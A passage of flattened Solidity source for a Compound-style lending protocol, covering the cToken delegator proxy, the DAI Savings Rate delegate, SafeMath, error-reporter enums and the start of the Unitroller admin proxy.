uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { mintAmount; // Shh delegateAndReturn(); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { redeemTokens; // Shh delegateAndReturn(); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { redeemAmount; // Shh delegateAndReturn(); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { borrowAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { repayAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { borrower; repayAmount; // Shh delegateAndReturn(); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { borrower; repayAmount; cTokenCollateral; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { owner; // Shh delegateAndReturn(); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external returns (uint) { delegateAndReturn(); } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external returns (uint) { account; // Shh delegateAndReturn(); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public returns (uint) { delegateAndReturn(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { delegateToViewAndReturn(); } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Applies accrued interest to total borrows and reserves. * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { delegateAndReturn(); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) { liquidator; borrower; seizeTokens; // Shh delegateAndReturn(); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { newPendingAdmin; // Shh delegateAndReturn(); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { newComptroller; // Shh delegateAndReturn(); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) { newReserveFactorMantissa; // Shh delegateAndReturn(); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { delegateAndReturn(); } /** * @notice Accrues interest and adds reserves by transferring from admin * @param addAmount Amount of reserves to add * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { addAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external returns (uint) { reduceAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { newInterestRateModel; // Shh delegateAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"CErc20Delegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } } pragma solidity ^0.5.16; import "./CErc20.sol"; /** * @title Compound's CErc20Delegate Contract * @notice CTokens which wrap an EIP-20 underlying and are delegated to * @author Compound */ contract CErc20Delegate is CErc20, CDelegateInterface { /** * @notice Construct an empty delegate */ constructor() public {} /** * @notice Called by the delegator on a delegate to initialize it for duty * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public { // Shh -- currently unused data; // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == admin, "only the admin may call _becomeImplementation"); } /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public { // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == admin, "only the admin may call _resignImplementation"); } } pragma solidity ^0.5.16; import "./CErc20Delegate.sol"; /** * @title Compound's CDai Contract * @notice CToken which wraps Multi-Collateral DAI * @author Compound */ contract CDaiDelegate is CErc20Delegate { /** * @notice DAI adapter address */ address public daiJoinAddress; /** * @notice DAI Savings Rate (DSR) pot address */ address public potAddress; /** * @notice DAI vat address */ address public vatAddress; /** * @notice Delegate interface to become the implementation * @param data The encoded arguments for becoming */ function _becomeImplementation(bytes memory data) public { require(msg.sender == admin, "only the admin may initialize the implementation"); (address daiJoinAddress_, address potAddress_) = abi.decode(data, (address, address)); return _becomeImplementation(daiJoinAddress_, potAddress_); } /** * @notice Explicit interface to become the implementation * @param daiJoinAddress_ DAI adapter address * @param potAddress_ DAI Savings Rate (DSR) pot address */ function _becomeImplementation(address daiJoinAddress_, address potAddress_) internal { // Get dai and vat and sanity check the underlying DaiJoinLike daiJoin = DaiJoinLike(daiJoinAddress_); PotLike pot = PotLike(potAddress_); GemLike dai = daiJoin.dai(); VatLike vat = daiJoin.vat(); require(address(dai) == underlying, "DAI must be the same as underlying"); // Remember the relevant addresses daiJoinAddress = daiJoinAddress_; potAddress = potAddress_; vatAddress = address(vat); // Approve moving our DAI into the vat through daiJoin dai.approve(daiJoinAddress, uint(-1)); // Approve the pot to transfer our funds within the vat vat.hope(potAddress); vat.hope(daiJoinAddress); // Accumulate DSR interest -- must do this in order to doTransferIn pot.drip(); // Transfer all cash in (doTransferIn does this regardless of amount) doTransferIn(address(this), 0); } /** * @notice Delegate interface to resign the implementation */ function _resignImplementation() public { require(msg.sender == admin, "only the admin may abandon the implementation"); // Transfer all cash out of the DSR - note that this relies on self-transfer DaiJoinLike daiJoin = DaiJoinLike(daiJoinAddress); PotLike pot = PotLike(potAddress); VatLike vat = VatLike(vatAddress); // Accumulate interest pot.drip(); // Calculate the total amount in the pot, and move it out uint pie = pot.pie(address(this)); pot.exit(pie); // Checks the actual balance of DAI in the vat after the pot exit uint bal = vat.dai(address(this)); // Remove our whole balance daiJoin.exit(address(this), bal / RAY); } /*** CToken Overrides ***/ /** * @notice Accrues DSR then applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { // Accumulate DSR interest PotLike(potAddress).drip(); // Accumulate CToken interest return super.accrueInterest(); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint) { PotLike pot = PotLike(potAddress); uint pie = pot.pie(address(this)); return mul(pot.chi(), pie) / RAY; } /** * @notice Transfer the underlying to this contract and sweep into DSR pot * @param from Address to transfer funds from * @param amount Amount of underlying to transfer * @return The actual amount that is transferred */ function doTransferIn(address from, uint amount) internal returns (uint) { // Perform the EIP-20 transfer in EIP20Interface token = EIP20Interface(underlying); require(token.transferFrom(from, address(this), amount), "unexpected EIP-20 transfer in return"); DaiJoinLike daiJoin = DaiJoinLike(daiJoinAddress); GemLike dai = GemLike(underlying); PotLike pot = PotLike(potAddress); VatLike vat = VatLike(vatAddress); // Convert all our DAI to internal DAI in the vat daiJoin.join(address(this), dai.balanceOf(address(this))); // Checks the actual balance of DAI in the vat after the join uint bal = vat.dai(address(this)); // Calculate the percentage increase to th pot for the entire vat, and move it in // Note: We may leave a tiny bit of DAI in the vat...but we do the whole thing every time uint pie = bal / pot.chi(); pot.join(pie); return amount; } /** * @notice Transfer the underlying from this contract, after sweeping out of DSR pot * @param to Address to transfer funds to * @param amount Amount of underlying to transfer */ function doTransferOut(address payable to, uint amount) internal { DaiJoinLike daiJoin = DaiJoinLike(daiJoinAddress); PotLike pot = PotLike(potAddress); // Calculate the percentage decrease from the pot, and move that much out // Note: Use a slightly larger pie size to ensure that we get at least amount in the vat uint pie = add(mul(amount, RAY) / pot.chi(), 1); pot.exit(pie); daiJoin.exit(to, amount); } /*** Maker Internals ***/ uint256 constant RAY = 10 ** 27; function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "add-overflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "mul-overflow"); } } /*** Maker Interfaces ***/ interface PotLike { function chi() external view returns (uint); function pie(address) external view returns (uint); function drip() external returns (uint); function join(uint) external; function exit(uint) external; } interface GemLike { function approve(address, uint) external; function balanceOf(address) external view returns (uint); function transferFrom(address, address, uint) external returns (bool); } interface VatLike { function dai(address) external view returns (uint); function hope(address) external; } interface DaiJoinLike { function vat() external returns (VatLike); function dai() external returns (GemLike); function join(address, uint) external payable; function exit(address, uint) external; } pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } }pragma solidity ^0.5.16; import "./ErrorReporter.sol"; import "./ComptrollerStorage.sol"; /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`. * CTokens should reference this contract as their comptroller. */ contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter { /** * @notice Emitted when pendingComptrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = comptrollerImplementation; address oldPendingImplementation = pendingComptrollerImplementation; comptrollerImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = address(0); emit NewImplementation(oldImplementation, comptrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 